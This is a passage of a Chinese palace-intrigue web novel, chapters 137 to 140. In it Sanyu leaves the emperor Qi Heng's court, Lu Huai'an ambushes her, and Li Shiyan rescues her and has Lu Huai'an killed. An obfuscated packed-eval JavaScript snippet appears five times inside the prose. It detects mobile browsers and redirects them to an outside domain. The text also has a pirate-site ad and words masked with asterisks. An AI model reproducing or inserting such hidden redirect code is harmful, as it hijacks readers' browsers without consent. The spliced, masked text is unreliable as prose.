她抱紧佛像又退两步,后背抵上冰冷佛龛。 祁蘅仿佛被什么巨大的绝望重击,连疼也感受不到了:“桑余,我从没想过有一天,你会伤我……” 桑余双手紧握着那尊沾血的佛像,指节发白。 她的胸口剧烈起伏,眼中噙着泪,却倔强地瞪着他:“我说过我要走!” “谋反 前一夜还说要留在我身边死也不离开的人……”祁蘅一步步逼近血滴在青砖上绽开暗花“现在为了出宫连弑君都敢了?到底是谁出尔反尔?” “是你逼我的!”桑余声音嘶哑“您说过会让我走你说过的……君无戏言……" 祁蘅突然暴起一把掐住她脖子将人拉入怀里扯掉她手中的佛像东西砸在地上发出巨响。 窒息感让桑余眼前发黑却听见他在耳畔轻笑:“那朕现在就改口——” “陛下臣妾听闻你——” 一声呼唤打断了他陆晚宁提着裙摆冲进佛堂身后跟着战战兢兢的宫人。 她看到满地狼藉和满脸是血的帝王保养精致的脸瞬间扭曲:“桑余!你竟敢——” “滚出去!”祁蘅头也不回地厉喝。 陆晚宁的脸色瞬间变得煞白她后知后觉地反应过来再也克制不住愤怒:“桑余!你竟敢伤害皇上?还愣着干什么给我拿下她!” 宫人们却不敢动没有陛下的令 陆晚宁见使唤不动众人便怒气冲冲的上前可还没走近…… “啪!” 一记耳光响彻佛堂。 陆晚宁捂着脸**两步金钗都歪了一半。 桑余揪住她衣领拽到面前眼中燃着从未有过的怒火声音嘶哑得不像自己:“我都把他还给你了!你为什么还看不住自己的人?” 陆晚宁惊叫一声身后的宫人们立刻骚动起来却被祁蘅一个眼神制止。 桑余的手指深深陷入陆晚宁华贵的衣料中她的声音颤抖着却字字如刀:“连个男人都看不住这就是你的本事么?” 陆晚宁的瞳孔骤然收缩她从未见过这样的桑余。 逆来顺受地女人此刻眼中却燃烧着她从未见过的怒火像是要将一切焚尽。 “我……”陆晚宁张了张嘴却发现自己发不出声音。桑余眼中的恨意太过赤裸让她本能地感到恐惧。 祁蘅突然伸手一把将桑余拽了回来。他的力道大得惊人桑余踉跄着跌入他的怀中。 “够了。”祁蘅的声音低沉而危险目光落在陆晚宁的肚子上他还是怕桑余伤到孩子隐忍的警告她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799192|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你闹够了吗?” 桑余仰头看着他,忽然觉得无比荒谬。 她轻声说:“闹?陛下觉得我在闹?是您先开始的!你现在这样,不就是逼我和你同归于尽么? 祁蘅的呼吸一滞。 桑余的眼神太过陌生,那里面的决绝让他心头涌上一阵前所未有的恐慌。 “桑余……他的声音软了下来,拧起眉头:“别这样…… 桑余却已经推开他,整了整自己凌乱的衣衫。 回头,看向了高大地佛像,看他们微微扬起的嘴角,桑余暗冷的目光透出些许不值一提的虔诚。 菩萨,今晚的事你都会看见么? 对不起,让你见笑了。 我这样手染鲜血的人,就连来拜见您,都要给您惹麻烦。 “陛下!陆晚宁扑上来抓住祁蘅的衣袖,“您的伤……太医…… "滚开!"祁蘅甩开她的手,目光仍死死锁住桑余,“你当真如此?你就真的舍得,将我一个人……一个人留在皇城? “一个人? 桑余在方才的那一刻,忽然明白了一件事。 她这么长时间换来的隐忍,什么用都没有,只会让这些人更加肆无忌惮地欺负自己。 是祁蘅先舍弃她,她走,却成了负心之人。 就连陆晚宁自己看不住人,也要跑来怪她。 没有人看到她受的苦楚,她是一个人,她就算无父无母,就算是奴婢出身,可她也是人。 桑余觉得可笑,她也的确笑了出来。 “祁蘅。 她很久没有直呼过他的名字。 “你好好看看,到底谁是一个人?你有那么多的妃子,你有帝位,你有高高在上的一切,你的身后沾满了人,只有我是一个人!现在,被你们围在这里的我才是一个人!祁蘅,你是要我死是么?你就是想逼死我,对么? 祁蘅看着她,血模糊了视线,桑余在一片血色中,只有一个小小的模糊的身影。 原来,自己早就离她这么远了。 桑余目光缓缓落在地上的碎瓷上,忽然觉得如释重负,原来只要这么简单就能解决一切。 “好,那我就如你所愿。 第137章 不要拦她 桑余的指尖刚碰到那片锋利的碎瓷,祁蘅的瞳孔骤然紧缩。 “桑余!” 他几乎是扑过去的,手掌不顾一切地攥住了那片瓷刃。 瓷片割破了他的手掌,鲜血顺着他的指缝往下一滴又一滴,像一串猩红的珊瑚珠。 但这点疼,比不上心里的痛。 这一刻,他似乎已经细微的察觉到,原来自己给她带来了这样滔天的绝望。 今天闹过头了。 原来桑余不会再无条件的纵容他了。 “对不起……”祁蘅的声音哑得不成样子,“别伤害自己,我以后不会再这样了……” 桑余冷冷的看着他,一字一句的说:“放我走!” 但那抹淡淡的愧疚和醒悟,立刻就被祁蘅否决了。 他是皇帝,他可以负天下任何一个人,但绝不可让天下人负他。 桑余负了他的所有。 他笃定,桑余一定有会后悔今日一切的一天,他等着那一天,等着桑余求自己,重新让她回来。 祁蘅慢慢松开瓷片,碎瓷落地。 他黯然的垂着眸,点了点头。 他缓缓直起身,居高临下地俯视着跪坐在地上的桑余,眼神冷得像淬了冰。 “好。” 他忽然笑了,那笑意未达眼底,“既然你执意要走,朕就不会再一而再再而三的给你机会。” 雨声渐大,敲打在佛堂的琉璃瓦上,像无数细小的嘲笑。 他转身扶起吓呆的陆晚宁,动作小心地护着她的肚子,却再没看桑余一眼。 “回宫吧。” 他对陆晚宁说,声音疲惫得像老了十岁。 只是到门口时,祁蘅又停了下来。 “桑余,记住今日。”他的声音混着雨声传来,冷得刺骨,“出了宫门,世上再不会有人像朕这般真心待你。” 一道闪电劈落,照亮他半边侧脸。雨水顺着血水,从他的下颌滑下,像流不尽一般。 “他日你若后悔……”祁蘅微微侧首,露出一个故作轻松的笑,高高在上:“朕的宫门也不会再为你开了。” “也是朕不要你了。” 祁蘅松开陆晚宁的手,径直走入雨幕,玄色龙袍很快被雨水浸透,贴在他宽 阔但瘦削的脊背上。 他走得很慢,像是背负了什么很重的东西。 比朝堂和天下还重。 然后他倒下了。 像一座山轰然崩塌。 “陛下!”远处传来陆晚宁的惊呼。 桑余站在原地没动。 她麻木的看着,看着祁蘅被人抬走,一点点消失在视线里,只是觉得如释重负。 抬头,菩萨仿佛低眉善目的对她笑着。 —— 龙榻前,太医们跪了一地。 “陛下脉象紊乱,邪热入心……”老太医的声音发颤,额头上全是冷汗,“微臣已然尽力!” 已经一夜了,祁蘅仍在高烧中辗转反侧,就连玄色中衣也被汗水浸透。 他双颊泛着病态的潮红,嘴唇却苍白干裂,时不时发出几声模糊的呓语,没人听清。 一直到了夜深,乾元殿的烛火还仍通明。 祁蘅开始陷入梦魇,眉头紧锁,冷汗几乎浸透了锦被。 梦里,他又回到了很多年前的一个雨夜——桑余跪在阶下,背脊挺得笔直,****细雨落在她的睫毛上,像一层薄霜。 祁蘅站在台阶之上,撑着一把油纸伞。 “陛下这次要杀谁?”她问。 他递给她一把**,刀柄上缠着红线,是他亲手系的。 “季成杨,”他说。 桑余的手指微微发抖,那是季远安的二叔,近来投靠了大皇子。 所以她……要去杀好友的二叔。 半晌,桑余还是接过了刀。 梦里的画面忽然扭曲,小雨变成了大雨。 桑余的腹部受了好重的伤,是被撞见一切的季远安用剑刺伤的,她没有反杀他,本就是她对不起他。 桑余只是拖着重伤的身体赶回了他身边复命。 一个**机器,其实除了**时狠厉一,其余时候都都是沉默温吞,她还以为自己要**,于是死之前想回到祁蘅身边,一个小小的愿望,想死在他身边而已…… 只是那时桑余回来,倒在祁蘅的面前,脸被雨水冲刷的苍白无色。 可还是皇子的祁蘅只是看了一眼,连伞都没倾斜半分。 “带回去,救活。” 梦里的祁蘅 看见这一幕,看着过去的自己,是如何用那些口蜜腹剑欺骗桑余给自己卖命。他踉跄的来到桑余面前,想替曾经的自己抱抱她,却碰不到她…… 原来发生的事已然发生,什么都弥补不了。 原来他错过了那么多次。 祁蘅怎么也醒不来,仿佛快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799193|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要被桑余肚子上往外涌出的血溺**,他胸口剧烈起伏,喉咙里泛着血腥味。 他额角的伤在昏迷中仍渗着血,太医们战战兢兢地换了几次药,却总不见好。发热时又会挣动,痂一次次裂开。 陆晚宁用沾了温水的软帕,一点点擦去祁蘅额上的血痕。 帝王在昏沉中皱眉,无意识地偏头躲开,唇间溢出一声低哑的痛哼。 “……桑余。” 这个名字从他干裂的唇间溢出,轻得几乎听不见。 陆晚宁手一抖,帕子掉进了铜盆里,溅起一片水花。 她哀怨的皱起眉,很想现在就去杀了桑余。 但赵德全和季明远两个人拦的紧,她无能为力,恨透她也不能杀她。 祁蘅这一烧,就烧了整整三日。 接连三日都昏迷着。 直到第三日天亮时,祁蘅的高热才终于退了,他睁开眼睛,沙哑开口问:“……人呢?” 守在榻边的赵德全连忙俯身,用湿帕子擦拭帝王滚烫的额头,老太监的手抖得厉害。 "陛下,老奴在这儿." 祁蘅突然抓住他的手腕,他缓缓转动布满血丝的眼睛,目光涣散:“她……在哪里?” 赵德全不敢答话。 三天了,桑余也没来看过陛下一眼,赵德全自然也不敢说。 陆晚宁端着药碗在旁边,双眼哭的通红,透出果决恨意:“陛下一醒来就问那个**?臣妾怎么可能让她走?天子千金之躯,她必须以死偿还!” 祁蘅却猛地挥开她递来的药碗,瓷碗碎了一地。 他撑着身子坐起来,额角的伤口又渗出血:“谁准你们……拦她……” 话未说完便是一阵剧烈的咳嗽,鲜血溅在明黄锦被上,触目惊心。 “陛下!”陆晚宁尖叫着要去扶,却被祁蘅一把推开。 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) “传……传旨……”祁蘅每说一个字都像在忍受极大的痛苦,“放她……走……” 说完这句,他像是用尽了全部力气,又重重倒回榻上。 太医们慌忙施救,殿内又乱作一团。 赵德全跪在龙榻边,老泪纵横间,他看见祁蘅紧攥着掌心——那里还留着被瓷片割伤的痕迹,已经发炎化脓。 他起身,去取早就准备好的圣旨。 第138章 山高水远,再不相逢 桑余跪在潮湿的庭院里,听着赵德全宣读圣旨。 “奉天承运皇帝,诏曰: 宝林桑余侍奉御前十一载,恪尽职守,本应嘉赏。然其恃宠生骄,屡犯宫规。朕念其旧日微功,免其死罪,废黜嫔位,贬为庶民,永不得再入皇城。 此后生死荣辱,与天家再无瓜葛。 钦此!” 赵德全念完最后一个字,院内静得可怕。 桑余听着这些话语,分明是沉重的罪名,却让她感觉到从来都没有过的轻松,好像人生的阴云散开了。 尤其是最后一句话,就像刀子,终于将她和这座宫城最后的联系斩断。 赵德全收起圣旨,低声道:“姑娘,走吧。” 桑余抬头,接过那道明黄绢帛。 赵德全犹豫再三,才说:“桑娘娘……不,桑姑娘,您确定就这么走了么?” 桑余抬眸,凉薄的看了赵德全一眼:“那该如何?” 赵德全活了大半辈子,是先帝派给祁蘅的太监,祁蘅长这么大,他从来都没哭过,而今却是红了眼睛,一双老眼越发混沌。 “陛下已经昏迷了三日,醒来后就一直念着你的名字,老奴从未见过他这幅样子。陛下自幼心性孤僻,别的皇子打耍玩闹时,你和他就一同守在废宫之中艰难活命,很多事情没人教过他,比如如何去爱一个人。他一生谨慎小心,唯独在你之上,任性妄为,可他若是不对姑娘动真心,也不会有如今局面……” “公公说够了吗?” 桑余冷冷的打断他:“没有人教过他怎么爱人,可他却知道怎么对陆晚宁好,不是么?” “您也知道我们这一路以来的共苦,可即使这样的共苦过后他都能弃我,这样不值一提的好,有什么值得要的?” “他若真是一个好皇帝,就不该拿自己的性命开玩笑,置前朝与天下于不顾,他不是在我一个人身上任性妄为,是在百姓身上任性妄为。” “我没什么见他的必要,公公,我可以走了么?” 赵德全怔愣了许久,迷茫的看着面前一身伤痕却果决离开的女子。 桑余并没有等到他的应允,就已经起身离开了。 赵德全不知是不是错觉,竟然觉得桑余似乎在那一刻活了。 陛下的心**。 桑余的心却活了。 …… 晨光微熹,宫门刚开。 桑余只穿了一件简单的鹅黄色布裙子没让任何人相送,只揣着那卷明黄圣旨,一步步走向宫门。 守门的禁军侍卫认得她,却没有拦,只是沉默地退开。 她的脚步很慢,背脊却挺得笔直。 如今走出这道门,她再不是任何人的暗卫、任何人的棋子。 “桑余!” 桑余的脚步在听到那声呼唤时微微一顿。 她抬头望去,季远安站在宫门城楼上,玄甲映着晨光,轮廓锋利如刀。 他扶着城墙的手攥得发白,指节泛青。 “这就走了?” 桑余点了点头,小小的身影在季远安眼里却格外清晰。 “那山高水远,会再见么?”他的声音沙哑,被风吹得七零八落。 桑余望着他,明白他终于不恨自己了, 她摇了摇头,嘴角却浮起一丝极淡的笑意。 不会再见了,若是可以,她此生,都不会再入京城了。 季远安突然红了眼眶。 那些积压多年的恨意,在这一刻土崩瓦解。 “阿余姐姐——”他猛地扒住城墙,像小时候那样唤她的名字,喊声里带着少年时的倔强,“可我会去找你的!” 桑余在宫门外站定,最后一次回望。 朱红宫墙依旧巍峨,飞檐上的铜铃在风中轻响,和十一年前毫无二致。 只是当年那个满怀憧憬的少女,早已被这座**的宫殿啃噬殆尽。 桑余笑了笑,转身,背对着季远安摆了摆手,只身没入晨雾之中。 市井的喧嚣扑面而来。 早点的香气,货郎的吆喝,孩童的嬉闹。 桑余走在熙攘的人群里,鹅黄色的身影很快被淹没。 没人知道这个瘦弱的女子曾为帝王出生入死,就像没人会在意一片从宫墙飘落的枯叶。 真好。 从此山高水长,再不相逢。 —— 清晨,乾元殿传来一声低哑的咳嗽。 祁蘅缓缓睁开眼,视线模糊了一瞬,才逐渐聚焦。 额角的伤 口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799194|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍隐隐作痛喉咙干涩得像是被火灼烧过。 他试着动了动手指发觉掌心缠着厚厚的纱布一动便传来尖锐的刺痛。 他做了很多梦梦见从前的自己和现在的自己以旁观者的角度看清了很多事情。 他闭了闭眼又睁开目光扫过殿内——太医们跪在一旁赵德全红着眼眶守在榻边陆晚宁正端着药碗凑过来 唯独没有那个熟悉的身影。 “陛下!您终于醒了!”陆晚宁声音里带着刻意的哽咽“臣妾担心坏了……” 祁蘅没理她只是看向赵德全声音沙哑:“……圣旨送去了?” 赵德全低头:“回陛下昨日已送去桑……那人已经离宫了。” 就这么走了吗? 结束的那么狼狈连最后的体面一面都不愿意再见就这么怕自己? 祁蘅沉默了片刻忽然扯了扯嘴角露出一个极淡的笑:“好。” 他撑着身子想要坐起来却因虚弱而踉跄了一下赵德全连忙扶住他。 祁蘅摆摆手自己慢慢坐直目光落在窗外的晨光上。 天亮了。 雨停了。 她真的走了。 “陛下该喝药了。”陆晚宁又凑过来声音关切 祁蘅终于看了她一眼没有理会只是起身步伐微虚的走向殿门。 他缓缓闭上眼任由晨光洒在苍白的脸上。 其实他也很不喜欢皇城。 这么大的皇城几乎困**他身边的所有人。 可如今他要一个人永远的留在这里了。 但是他想这世上没有谁会离不开谁。 他就当从来没有见过她。 她能这么绝情他自然也可以。 一个七尺男儿这一生怎么可能只拘泥于一个女人的爱恨纠葛? 终有一天自己会将她忘得干干净净他会做一个很好的帝王有很多子嗣再次找到一个极好的女子相伴终身一生安然。 桑余也没什么值得他一辈忘不掉。 一缕晨光穿透云层照在祁蘅惨白的脸上。 他看起来像尊冰雕的塑像冰冷漠然阴郁没有一丝生气。 —— 陆淮安收到陆晚宁的消息桑余已经出宫务必将其诛杀于长安城外。 所以陆淮安早早的就守在那里了。 第139章 他不信李识衍敢杀他 晨雾未散,长安城外的官道笼罩在一片朦胧中,雨后泛着凉意。 桑余一边盘算着,离宫时带的银钱足够她去往江南的盘缠,还能买下一间乡野小屋,再置办几亩薄田…… 这是她十多年来第一次,能够为自己做打算。 忽然,身后传来马蹄声。 “桑余,这就走了?” 桑余听出这是谁的声音了,她缓缓停下,右手悄然摸向腰间的**。 陆淮安在马上,居高临下地睨着她的背影,微讽道:“怎么?连回头看看我的勇气都没有?” 桑余转身,对上他的视线:“陆大人这是来报仇的?” 陆淮安的眉眼冷了下来。 她又是这样凉薄的,什么都不在意的目光,甚至连半分害怕都没有。 本来还想对她好言相劝,若她懂得服软,卑躬屈膝地求自己的原谅,他会放了她,甚至带她离开,给她下半辈子衣食无忧…… 可她,却总是这样一副对他毫无歉意的模样。 “桑余,你知不知道你那一簪有多狠?”陆淮安翻身下马,紫袍翻飞,妖孽一般的桃花眼微微眯起:“你毁我声誉,害我半条命,若不是陛下连夜召太医救我,我早就**,事到如今你落到了我的手上,还这么不知死活?!” 桑余看着他,看着看着,忽然笑起来。 “陆淮安,你还真是有点蠢,和你那妹妹……一模一样。” 陆淮安危险地咬牙道:“你是想死么?” “我那一簪子可要不了你的命。但你敬仰的皇上……”她顿了顿,“可是给你的伤添笔加墨了一番,今日你就算杀了我,也活不了几年了。” “胡说八道!”陆淮安猛地抽出佩剑,剑尖在桑余颈前寸许处颤抖,“到这个时候你还在鬼话连篇,污蔑圣上?”他声音突然压低,“还是你觉得,我又会像上次一样信你?” 桑余不避不闪。 她了解陆淮安的软肋。 他是宁愿相信是自己在骗他,也不敢承认自己效忠的君王在**他,因为陆淮安一向志在必得,自诩权重。 他自信一切都在他的掌控之中,哪里会允许自己被耍弄。 “他暂时留你一命,也是怕陆晚宁难过罢了……” 话音未落陆淮安猛地将剑柄狠狠砸向她膝弯:“闭嘴!晚宁说的没错你这个毒妇一个只会爬床的贱婢休想一而再再而三地诓我!” 桑余吃痛跪倒听见头顶传来粗重的喘息“还是你真当我不敢杀你?” 陆淮安招手身后的侍从上前按住桑余的胳膊就要将她捆住。 “既然你不愿意求饶我也没必要给你脸面。” “知道我要带你去哪吗?”陆淮安压低声音恐吓她:“我在城南有座别院地窖里养着西域来的獒犬……”他手指划过桑余颈侧“最喜欢撕咬你这种低贱的女人到时候我看你还有什么胆量跟我拿乔!” 桑余趁他靠近一只手猛的抽出**直刺向他。 陆淮安眼底微惊但随即眼中闪过一丝讥讽。 他抬脚踹向她的手腕**当啷一声摔了出去。 “还以为自己能伤我第二次?你现在不过就是个连**都握不住的废人!” 桑余被摁住绳子紧紧地束缚住她的手腕。 “我这也是为你好省省力气吧。”陆淮安缓缓靠近:“这荒郊野岭的……” 话音未落一支白羽箭从远处袭来。 不等陆淮安反应就精准钉入他右手力道之大竟将他的手腕深深穿透。 他痛苦的叫声还没来得及喊出又有一箭射**陆淮安的侍从。 桑余很快摸清了箭射来的方向。 她抬头看向远处可树上的玄衣人已经收弓转身。 桑余只来得及看见他的身形隐隐觉得熟悉。 此时正值晨雾渐散天光破晓。 薄雾中一道颀长的身影缓缓显现。 他踩碎浓稠的雾像是从晨光里走出的救赎。 桑余猜出他是谁了。 陆淮安捂着被箭贯穿的手腕鲜血顺着指缝滴落。 他咬牙抬头 “你……”陆淮安强忍剧痛声音发颤“李大人这是本官私事还请莫要多管闲事。” 李识衍声音低沉他径直走向桑余目光未偏半分:“我今日来就是为了她。” 桑余微顿此刻见他一个人一身白衣竟觉得像一道撕 开阴霾的光亮。 陆淮安脸色骤变:“你什么意思?” 李识衍没有理他走到桑余面前单膝跪下小心的扯开了她身上的绳索。 他低声问:“有没有受伤?” 桑余迟钝地摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799195|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李识衍看见了看见桑余腕上留下的那些狰狞的疤痕眼底的痛色几乎要溢出来。 他解开外袍裹住她单薄的身子声音低哑:“是我来迟了。” 陆淮安捂着流血的手腕看出他们二人之间的不一般脸上血色尽褪:“李识衍!你找死——” 话音未落他又突然噤声瞳孔剧烈收缩。 只见远处山道上不知何时已立着十余名黑甲卫**寒光纷纷对准了他的心口。 只需一瞬他就会万箭穿心。 “李大人?”陆淮安强忍疼痛拔出腕上箭矢脸色阴晴不定“你到底是何意?她不过是陛下下令废黜的庶人今日也是我们二人的私事……” 李识衍头也不抬声音平静得可怕“怎么?陆侍郎何等聪明的人事到如今还看不明白?” 陆淮安后知后觉的眯起眼睛但顷刻间就将一切联系起来了。 他踉跄后退两步脸色煞白:“是你?原来是你……” 他仿佛忽然想通什么声音陡然尖锐“利用鉴察院言官上奏废黜桑余这件事是你一早就计划好的?你在利用我?!所以晚宁身边那个献计的婢女也是你安排的?” 李识衍终于站起身将桑余扶起来护在了身后。 然后牵住了桑余的手。 他的掌心滚烫但是柔软。 桑余看着面前人的背影文人薄骨瘦削温润她怕他会被陆淮安伤到。 李识衍唇角勾起一抹冷笑“是啊若非你妹妹那么容易操控圣上怎会这么快下决心放人?” 陆淮安不可置信地摇头他不明白李识衍为什么会这么费劲心机不惜用这样一张天罗地网的棋局只为不费一兵一卒的让桑余安然出宫。 “我竟不知你们对这**私下……” “闭嘴。”李识衍眼神骤冷 桑余望着挡在身前的背影心下微微一颤像一滴水滴在了她心上某处封存的角落。 肮脏鄙夷的话语听多了桑余自己都麻木了这是第一次有人替自己在意。 陆淮安咬牙撕下衣摆包扎伤口眼中怨毒几乎化为实质:“若是圣上知晓此事你们必死无疑……” “圣上不会知道。”李识衍打断他他温和地笑了笑如清风朗月话语却是寒意砭骨:“因为你不会活着见到圣上的。” 陆淮安脸色瞬间惨白。 他不信李识衍竟然敢当街杀害户部侍郎朝廷命官! 第140章 李识衍和别人有些不一样 原来李识衍和桑余早就暗结连理! 陆淮安想起那日在酒楼,李识衍听见自己说要带走桑余时,竟然能一点反应都没有。 他还真能装! 陆淮安踉跄着后退,鲜血从手腕的箭伤汩汩涌出,染红了紫袍袖口。 他盯着李识衍,忽然扯出一个扭曲的笑:“李识衍,你确定要护着她?她一个被圣上废弃的女人,连贞洁都没有了,名声都烂透了,谁知道爬过多少个皇子的床……你不嫌脏吗?” 桑余的手指在袖中微微蜷缩,面上却仍是一片漠然。 这样的话她听得太多,早已麻木。 只是此刻,她忍不住抬眼看向李识衍的侧脸。 他答应帮师父救自己,把一切都计划的如此周全的人,清风霁月的朗朗君子,让他听见自己不堪的过往,他大抵会觉得没必要如此费心思的救自己吧。 果然,李识衍松开了桑余的手。 桑余的掌心就这么空了,她垂下眸,丝毫不觉得意外,缓缓的收回了手。 只是觉得,他的……掌心很温暖。 李识衍缓步上前,声音轻得几乎散在晨风里:“陆淮安,你觉得我会在乎名节那种狗屁东西吗?” 桑余心头一震。 李识衍从没有说过这种粗鄙之言,那个永远端方清雅的夫子,此刻竟…… 陆淮安先是一愣,继而嗤笑:“装什么情深义重?听说她身上全是伤疤,怕你见到了会被吓死!” “其实我早就想杀你了。” 李识衍打断他,声音平静得可怕,“只是你还有用,所以我一直在忍耐,终于,你没用了。” 陆淮安的笑容僵住。 说了这么多,难道都没有动摇李识衍半分? 一个男子,怎么会连女子没有贞洁这种事都不在意? 李识衍即使转向桑余,询问:“他,你想亲自动手吗?” 桑余看过去,看向已经一脸不知所措,彷徨诧异的陆淮安。 她摇头:“不。” 陆淮安眼中闪过一丝希冀,她这是不忍心自己死么? 虽然自己骗过她,可自己也的的确确和她有过信任,她的确和他交付过自己的软肋…… 下一刻,却听桑余小心翼翼的回答: “会脏了我的手我……我不想再**了可以么?” 李识衍看到她小心翼翼的试探仿佛自己会逼她去做心中就猛的一酸。 “好你不想做的事就不做。” 桑余微微一顿看向李识衍。 这句话对她而言陌生得几乎不真实。 十多年来她习惯了被命令、被安排、被利用。 从未有人对她说过原来不想做的事情可以不做。 李识衍又说:“我替你杀。” 他迈步正要捡起地上的**身子忽然一顿。 回头是桑余扯住了他的袖口。 李识衍回头见她眼睫微垂声音轻得几乎听不见:“你也不要动手。” 她目光落在他手上那双手修长白皙骨节分明执笔时能写出最锋利的奏折最清隽的诗文。 绝不能因为她被血染脏。 “夫子的手”她低声道“是用来写字的。” 李识衍心头一颤。 他看着她微微泛红的眼睛看着她攥着自己衣袖的指尖小心翼翼松开又收紧忽然意识到—— 她终于 像一只伤痕累累的猫终于肯从角落里探出爪子轻轻碰了碰他的手。 “好。”李识衍颔首回来重新握住了她的手。 不动声色间他朝远处黑甲卫做了个手势。 陆淮安脸色骤变他看见桑余真的要跟李识衍走了强撑的气势终于崩塌:“李识衍你到底是谁?你到底为何要这般护着她?就不怕陛下知道你们的**?” 他声音发颤最后问:“李识衍你不怕被她牵连死无葬身之地?” 李识衍步伐一顿轻笑了笑把掌心里冰凉的手握的更紧:“那就等他知道了再说。” 随后看向孤立无援只能等死的陆淮安笑了笑。 “不过你先去地府等着你的好妹妹和义父很快就会来陪你的。” 箭矢破空之声响起。 桑余踩过地上那只一只干枯的草蝈蝈头也不回地上了马车。 车帘落下时她听见陆淮安在弥留之际含混地喊了什么。 不重要了。 陆淮安倒在了地上。 恍惚间,他想起一年以前的那日,自己本是要带她走的。 可惜啊,他们之间,从来都只有伤害与算计。 如果当日,他和李识衍一样,真的带她走了,是不是……会不一样? 每次见到她之前都会想好好于她相处,让她像第一次见面一样对他笑一笑。 可一见面,就又会控制不住的恶语相向。 要是他身上没背着陆家的荣耻未来就好了。 妹妹…… 兄长又无能了。 —— 马车内很安静,桑余坐在角落,脊背挺得笔直。 李识衍坐在对面,目光落在她微微泛白的指节上。 他知道,她还在害怕。 其实,李识衍很不想当着桑余的面**的。 他本是让她干干净净地离开长安,不必再沾染这些血腥。 可他也没料到,陆淮安会出现。 他实在是忍不下去了。 当陆淮安那句“贱婢”说出口的瞬间,他脑中那根绷了数十年的弦,突然就断了。 ——她明明是最干净的那个人。 她年幼被拐骗进深宫,被迫推进肮脏的血池,把**的刀递到她手上,威逼利诱,让她万劫不复…… 这些满手血腥的官宦权贵,凭什么用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799196|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样肮脏的字眼辱骂她? 李识衍想起陆淮安说那些话时鄙夷神情,指节不自觉地攥紧。 他忽然很后悔,后悔让陆淮安死得太痛快。 “夫子,你……” 桑余的声音将他拉回现实。 李识衍缓缓松开手,这才看见掌心的血痕清晰可见。 “没事。”他轻声道,却不敢再看她的眼睛。 他怕自己眼底翻涌的杀意会吓到她。 哪怕这份愤怒里掺杂了多少说不出口的心疼。 桑余看着他的手,轻轻的皱起了眉。 其实她很想问,李识衍当真只是一个夫子么? 如果只是一个普通的书生,师父怎么会寻他帮忙? 一个书生又怎么能调动这么多刺客? 但,桑余想了想,还是不要知道这么多为妙。 桑余忽然想起十王爷祁翎说过 的,关于李识衍的事,再把那些事,那些话,一一对应在面前的人身上…… 祁翎说的没错,他的确是个很好的人。 “桑余。他忽然轻声唤道。 她抬起头,眼中还带着未散的惊惶。 “别怕。李识衍声音很轻,“都结束了。 桑余点了点头,问:我们去哪? “江南。 桑余抬起头,眼中闪过一丝讶异。 那的确是她想去的地方。 “你她犹豫了一下,“不留在皇宫了? 李识衍笑了笑,他留在皇宫,本就是因为她在那里,如今她出来了,他还留在那里做什么? 李识衍从袖中取出一封官家密信递给她,桑余展开,只见上面朱批赫然,是祁蘅的字迹。 写着:准卿所请,前往江南,督办水利,安抚黎庶,任卿为江南刺史,望卿不负。 桑余想起那次她躲在祁翎王府,听到的祁蘅问李识衍可否愿意去江南的事。 一切就这样水到渠成,那什么是李识衍算不到的呢? 